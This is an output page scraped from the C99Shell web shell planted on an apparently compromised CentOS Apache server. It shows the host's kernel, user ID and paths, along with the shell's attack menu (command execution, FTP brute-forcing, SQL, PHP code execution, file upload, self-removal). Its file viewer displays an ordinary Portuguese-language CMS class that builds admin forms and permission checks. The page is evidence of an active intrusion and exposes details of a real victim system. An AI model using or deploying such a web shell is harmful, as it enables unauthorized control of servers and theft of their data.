!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/cms/   drwxr-xr-x
Free 9.32 GB of 93.48 GB (9.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IPanelApp.php (21.6 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* 
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

if(!class_exists('IPanel'))
    require_once(
APP_PATH."/cms/IPanel.php");
if(!
class_exists('IPanelMenu'))
    require_once(
APP_PATH."/cms/IPanelMenu.php");
if(!
class_exists('IPanelConfig'))
    require_once(
APP_PATH."/cms/IPanelConfig.php");
if(!
class_exists('IPanelForm'))
    require_once(
APP_PATH."/cms/IPanelForm.php");

class 
IPanelApp extends IPanel {


    public function 
setMenu(){
        
$this->menu = new IPanelMenu($this->getArea());
    } 

    public function 
setConfig(){
        
$this->config = new IPanelConfig($this->getArea(), $this->getMode());
    }

    public function 
getCurrentTitle(){
        return 
$this->getMenu()->getCurrentTitle();
    }

    public function 
getCurrentDescription(){
        return 
$this->getMenu()->getCurrentDescription();
    }

    public function 
getCurrentAlias(){
        return 
$this->getMenu()->getCurrentAlias();
    }

    public function 
writeStatusOptions(){
        if(
$this->getConfig()->getParameter("status") != null){
          
/*  $control = new GenericCtrl($this->getArea());
            $arrayStatus = $control->getStatusList();
            $html = "<h4>";
            $html.= "   <a title='Listar todos os registros' class='stselect' href='#todos'>Tudo</a> (".count($arrayStatus).") |";
            foreach($arrayStatus as $status){
                $html.= "<a title='Listar ".$status[status]."' href='#publicados'>Publicado</a> (".$status['total'].") |";
            }
            $html.= "</h4>";*/
        
}
    }

    
    
/**
     * Gera o código html para o campo de seleção de tipo de pesquisa
     *
     * @return html
     */
    
public function writeSearchForm($field$valueIni$valueEnd$get$isPopUp=false){
        
$form = new IPanelForm($this->getArea());
        
$form->setConfig($this->getConfig());
        
$form->setArea($this->getArea());
        if(
$this->getConfig()->getParameter("searchType") == "advanced"){
            echo 
$form->writeAdvancedSearchForm($get$isPopUp);
        }else{
            echo 
$form->writeSearchForm($field$valueIni$valueEnd$isPopUp$get);
        }
    }



    
/**
     * Gera o código html para o formulário de geração de relatório
     *
     * @return html
     */
    
public function writeSearchReport(){
        
$form = new IPanelForm($this->getArea());
        
$form->setConfig($this->getConfig());
        
$form->setArea($this->getArea());
        echo 
$form->writeAdvancedSearchForm(nullfalsetrue);
    }



    
/**
     * Retorna o código html para lista de detalhes do registro
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
public function writeDetails($object){
        
$functions = new IPanelFunctions();
        
$arrayGroups = array();
     
//   $htmlDetail = '<div id="flip-tabs" class="left">';
     //   $htmlDetail.= ' <ul id="flip-navigation-'.$object['id'].'" class="flip-navigation">';
        
$htmlDetail '<div id="caixa">';
        
$htmlDetail.= '<p id="abas">';
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                
$html "";
                if(
$value['detail'] == true){
                     if(empty(
$value['detailGroup'])){
                         
$group $this->getConfig()->getParameter("detailGroupDefault");
                         if(empty(
$group)){
                             
$group "Informações";
                         }
                     } else{
                         
$group $value['detailGroup'];
                     }

                     if(!
in_array($group$arrayGroups)){
                         if(
count($arrayGroups) == 0){
                             
$class 'selected';
                             
$color "#FFCC00";
                         }else{
                             
$class "";
                             
$color "#000000";
                         }
                       
//  $htmlDetail.= '<li class="flip-navigation li '.$class.'"><a href="javascript:;" id="tab_'.count($arrayGroups).'">'.$group.'</a></li>';
                        
$htmlDetail.= ' <a href="#aba'.count($arrayGroups).'" class="'.$class.'">'.$group.'</a>';
                       
//  ${"div_".count($arrayGroups)} = '<div class="flip-container div" style="background:'.$color.' !important">';
                         
${"li_".count($arrayGroups)} = '<li id="aba'.count($arrayGroups).'">';
                         
$arrayGroups array_merge($arrayGroups, array($group));
                     }

                     
                     
//
                     // Verifica se foi especificado uma função para tratamento do campo
                     //
                     
$subfield explode("."$field);
                     switch(
count($subfield)){
                         case 
"1"$valueField $object[$subfield[0]]; break;
                         case 
"2"$valueField $object[$subfield[0]][$subfield[1]]; break;
                         case 
"3"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]]; break;
                         case 
"4"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]][$subfield[3]]; break;
                     }
                     if(
$value['listFunction'] != ""){
                         
$function $value['listFunction'];
                         
$valueField $functions->$function($valueField);
                     }
                     if(
$value['type'] == "image"){
                        
$uploads $this->getConfig()->getParameter("uploads.folder");
                        
$html.= '   <li style="min-height:22px; border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left; padding-right:5px; width:110px;"><strong>&nbsp;'.$value['name'].':</strong></div>';
                        
$html.= '   <div style="width:765px; float:left; margin-left:15px;"><img src="../uploads/'.$uploads.'/'.$object['id'].'/'.$valueField.'" width="120"/></div></li>';
                     }
                     else if(
$value['type'] == "file"){
                        
$uploads $this->getConfig()->getParameter("uploads.folder");
                        
$html.= '   <br/><li style="min-height:25px;border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left;border-bottom:0px; width:110px; padding-right:5px"><strong>'.$value['name'].':</strong></div>';
                        
$html.= '   <div style="width:765px; float:left; margin-left:15px;"><a href="../uploads/'.$uploads.'/'.$object['id'].'/'.$valueField.'" target="_blank">&nbsp;'.$valueField.'</a></div><div style="clear:both !important"></div></li>';
                     }
                     else{
                        
$html.= '   <div class="cont-colunas"><div class="coluna-esq"><strong>&nbsp;'.$value['name'].':</strong> </div>';
                        
$html.= '   <div class="coluna-dir"> &nbsp;'.$valueField.'</div></div> ';

//                        $html.= '   <br/><li style="min-height:25px;border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left; width:110px"><strong>&nbsp;'.$value['name'].':</strong></div>';
//                       $html.= '   <div style="width:765px; float:left; margin-left:15px;">&nbsp;'.$valueField.'</div></li>';

                       // $html.= '   <div align="right" width="110" style="float:left; width:110px; height:35px"><strong>&nbsp;'.$value['name'].':</strong></div>';
                      //  $html.= '   <div style="width:300px; float:left; margin-left:15px; height:35px">&nbsp;'.$valueField.'</div>';
                     
}

                     
$key array_search($group$arrayGroups);
                     ${
"li_".$key}.= $html;
                }
            }
          
//  $htmlDetail.= '</ul>';
            
$htmlDetail.= '</p>';
            
$htmlDetail.= '<ul id="conteudos">';
          
//  $htmlDetail.= '<form id="flip-container-'.$object['id'].'" class="flip-container">';
            
for($i=0$i count($arrayGroups); $i++){
              
//  $htmlDetail.= ${"div_".$i}."</div>";
                
$htmlDetail.= ${"li_".$i}."</li>";
            }
          
//  $htmlDetail.= "</form>";
          //  $htmlDetail.= "</div>";
            
$htmlDetail.= "</ul>";
            
$htmlDetail.= "</div>";

/*
            $htmlDetail.= '<script type="text/javascript">';
            $htmlDetail.= '  $("document").ready(function(){';
            $htmlDetail.= '   $("#flip-container-'.$object['id'].'").quickFlip();';
            $htmlDetail.= '   $("#flip-navigation-'.$object['id'].' .flip-navigation li a").each(function(){';
            $htmlDetail.= '      $(this).click(function(){ alert("teste");';

            $htmlDetail.= '         $("#flip-navigation-'.$object['id'].' .flip-navigation li").each(function(){';
            $htmlDetail.= '            $(this).removeClass("flip-navigation li selected");';
            $htmlDetail.= '         });';
            $htmlDetail.= '      $(this).parent().addClass("flip-navigation li selected");';
            $htmlDetail.= '      var flipid = $(this).attr("id").substr(5);';
            $htmlDetail.= '      $("#flip-container-'.$object['id'].'").quickFlipper({ }, flipid, 1);';
            $htmlDetail.= '      return false;';
            $htmlDetail.= '   });';
            $htmlDetail.= '  });';
            $htmlDetail.= '});';
            $htmlDetail.= '</script>';
 * */

        
}
        return 
$htmlDetail;
    }



    
/**
     * Retorna o código html para script de mudança de aba
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
public function writeScriptDetailsTab($id$group){
        
$arrayGroups = array();
        
$htmlDetail '<div id="flip-tabs-'.$object['id'].'" class="left">';
        
$htmlDetail.= ' <ul id="flip-navigation" >';
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                
$html "";
                if(
$value['detail'] == true){
                     if(empty(
$value['detailGroup'])){
                         
$group $this->getConfig()->getParameter("detailGroupDefault");
                         if(empty(
$group)){
                             
$group "Informações";
                         }
                     } else{
                         
$group $value['detailGroup'];
                     }

                     if(!
in_array($group$arrayGroups)){
                         if(
count($arrayGroups) == 0){
                             
$class 'class="selected"';
                         }else{
                             
$class "";
                         }
                         
$htmlDetail.= '<li><a href="#" id="tab_'.count($arrayGroups).'" '.$class.'>'.$group.'</a></li>';
                         ${
"div_".count($arrayGroups)} = '<div class="">';
                         
$arrayGroups array_merge($arrayGroups, array($group));
                     }


                     
//
                     // Verifica se foi especificado uma função para tratamento do campo
                     //
                     
$subfield explode("."$field);
                     switch(
count($subfield)){
                         case 
"1"$valueField $object[$subfield[0]]; break;
                         case 
"2"$valueField $object[$subfield[0]][$subfield[1]]; break;
                         case 
"3"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]]; break;
                         case 
"4"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]][$subfield[3]]; break;
                     }
                     if(
$value['listFunction'] != ""){
                         
$function $value['listFunction'];
                         
$valueField $functions->$function($valueField);
                     }
                     if(
$value['type'] == "image"){
                        
$uploads $this->getConfig()->getParameter("uploads.folder");
                        
$html.= '   <li style="min-height:22px; border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left; padding-right:5px; width:110px;"><strong>&nbsp;'.$value['name'].':</strong></div>';
                        
$html.= '   <div style="width:765px; float:left; margin-left:15px;"><img src="../uploads/'.$uploads.'/'.$object['id'].'/'.$valueField.'" width="120"/></div></li>';
                     }
                     else if(
$value['type'] == "file"){
                        
$uploads $this->getConfig()->getParameter("uploads.folder");
                        
$html.= '   <br/><li style="min-height:25px;border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left;border-bottom:0px; width:110px; padding-right:5px"><strong>'.$value['name'].':</strong></div>';
                        
$html.= '   <div style="width:765px; float:left; margin-left:15px;"><a href="../uploads/'.$uploads.'/'.$object['id'].'/'.$valueField.'" target="_blank">&nbsp;'.$valueField.'</a></div><div style="clear:both !important"></div></li>';
                     }
                     else{
                        
$html.= '   <br/><li style="min-height:25px;border-bottom:0px; width:900px; clear:both;"><div align="right" width="110" style="float:left; width:110px"><strong>&nbsp;'.$value['name'].':</strong></div>';
                        
$html.= '   <div style="width:765px; float:left; margin-left:15px;">&nbsp;'.$valueField.'</div></li>';
                       
// $html.= '   <div align="right" width="110" style="float:left; width:110px; height:35px"><strong>&nbsp;'.$value['name'].':</strong></div>';
                      //  $html.= '   <div style="width:300px; float:left; margin-left:15px; height:35px">&nbsp;'.$valueField.'</div>';
                     
}

                     
$key array_search($group$arrayGroups);
                     ${
"div_".$key}.= $html;
                }
            }
            
$htmlDetail.= '</ul>';
            
$htmlDetail.= '<form id="flip-container">';
            for(
$i=0$i count($arrayGroups); $i++){
                
$htmlDetail.= ${"div_".$i}."</div>";
            }
            
$htmlDetail.= "</form>";
            
$htmlDetail.= "</div>";
        }
        return 
$htmlDetail;
    }



    
/**
     * Gera o código html do formulário do setor atual
     * Os campos são criados de acordo com a marcação form: true no arquivo de configuração
     * @param Object $object     Objeto a ser usado para popular o formulário
     *
     * @return html
     */
    
public function writeForm($object$group=""){
        
$form = new IPanelForm();
        
$form->setConfig($this->getConfig());
        
$form->setArea($this->getArea());
        
$form->setMode("Form");
        return 
$form->writeForm($object$group);
    }



    
/**
     * Gera o script Jquery para validação e mascaramento dos campos
     * Os campos de data possuem mascara prédefinida não sendo necessário especificá-la
     * no arquivo de configuraçao.
     *
     * @return html
     */
    
public function writeValidationScript(){
        
$form = new IPanelForm();
        
$form->setConfig($this->getConfig());
        
$form->setArea($this->getArea());
        return 
$form->writeValidationScript();
    }



    
/**
     * Gera o html para criação das áreas do setor administrativo
     * É efetuado um laço no array referente aos setores do admin que está registrado na sessão
     *
     * @return html
     */
    
public function writeActionsForm($permissoes$tipo="Normal"){
        
session_start();
        
$linksMenu $_SESSION['setores'];
        
$html "";
        foreach(
$linksMenu as $keySetores){
           foreach(
$keySetores as $aba => $links){

               if(
$aba != "Iniciar"){

                   
//
                   // Gera o link para a página inicial do sistema administrativo
                   //
                   
foreach($links as $link => $value){

                       if((
$value['mode'] == "Report" && $tipo == "Report") || ($tipo == "Normal" && $value['mode'] != "Report")){

                           
$html.= '<div class="div_permissao">';
                           
$html.= '  <input type="checkbox" name="'.$link.'" id="'.$link.'" value="S"
                                       onclick="selectAllActionsBySetor('
.chr(39).$link.chr(39).', '.chr(39).$value['actions'].chr(39).')"/>';
                           
$html.= '     <span class="titulo_permissao">'.$value['name'].'</span><br/>';

                           
$arrayAcoes explode(","$value['actions']);
                           for(
$i=0$i count($arrayAcoes); $i++){
                                
$acao str_replace(" ","",$arrayAcoes[$i]);
                                if(
$this->verificaPermissao($link$acao$permissoes)){
                                    
$checked "checked";
                                }else{
                                    
$checked "";
                                }

                                
$html.= '&nbsp;&nbsp;<input type="checkbox" name="'.$link.'_'.$acao.'" id="'.$link.'_'.$acao.'" value="S" '.$checked.'>';
                                
$html.= '<span class="topico_permissao">'.$acao.'</span><br/>';
                           }
                           
$html.= "    </div>";
                       }
                   }
               }
            }
        }
        print 
$html;
    }


    
    
/**
     * Gera o html para criação das abas de navegação do setor administrativo
     * É efetuado um laço no array referente aos setores do admin que está registrado na sessão
     *
     * @return html
     */
    
public function createArrayPermissions($post$usrId){
        
session_start();
        
$linksMenu $_SESSION['setores'];
        foreach(
$linksMenu as $keySetores){
           foreach(
$keySetores as $aba => $links){
               foreach(
$links as $link => $value){
                   
$arrayAcoes explode(","$value['actions']);
                   for(
$i=0$i count($arrayAcoes); $i++){
                        
$acao str_replace(" ","",$arrayAcoes[$i]);
                        if(
$post[$link."_".$acao] == "S"){
                            
$permissao = new Permissao();
                            
$permissao->local $link;
                            
$permissao->acao  $acao;
                            
$permissao->usrId $usrId;
                            
$permissao->save();
                        }
                    }
                }
            }
        }
    }


    
/**
     * Verifica se existe permissão de acesso para o setor
     * É efetuado um laço no array referente aos setores do admin que está registrado na sessão
     * @param String $local     Setor atual
     * @param String $acao      Acao a ser executada
     *
     * @return Boolean
     */
    
public function verificaPermissao($local$acao$permissoes=null){
        
session_start();
        if(
$permissoes == null){
            
$permissoes unserialize($_SESSION['permissoes']);
        }
        
$status false;
        if(
$permissoes != null){
            foreach(
$permissoes as $permissao){
                if(
$permissao['local'] == $local && $permissao['acao'] == $acao){
                    
$status true;
                }
            }
        }
        return 
$status;
    }


    
/**
     * Verifica se existe permissão de acesso para o setor
     * É efetuado um laço no array referente aos setores do admin que está registrado na sessão
     * @param String $local     Setor atual
     * @param String $acao      Acao a ser executada
     *
     * @return Boolean
     */
    
public function verificaPermissaoSetor($local){
        
session_start();
        
$permissoes unserialize($_SESSION['permissoes']);
        
$status false;
        if(
$permissoes != null){
            foreach(
$permissoes as $permissao){
                if(
$permissao['local'] == $local){
                    
$status true;
                }
            }
        }
        return 
$status;
    }


   
/**
     * Gera a url com os parâmetros informados na pesquisa
     *
     * @return String
     */
    
public function writeUrlParametersSearch($get){
        if(
$this->getConfig()->getParameter("searchType") == "advanced"){
            
$form = new IPanelForm();
            
$form->setConfig($this->getConfig());
            
$form->setArea($this->getArea());
            return 
$form->writeUrlParametersSearch($get);
        }else{
            return 
"";
        }
    }


   
/**
     * Retorna o número de campos para a área de pesquisa
     *
     * @return Integer
     */
    
public function getNumFieldsSearch(){
        
$count 0;
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                if(
$value['search'] == true){
                    
$count++;
                }
            }
        }
        return 
$count;
    }



    
/**
     * Retorna a url a ser utilizada no action do formulário
     *
     * @return String
     */
    
public function getActionFormUrl($get){
        
$url $this->getConfig()->getParameter("actionFormUrl");
        if(
$url == "" || $url == null){
            return 
"../app/cms/processa.php?lc=".$this->getArea().$this->getParameters($get);
        }else{
            return 
"../app/cms/".$url."?lc=".$this->getArea().$this->getParameters($get);
        }
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--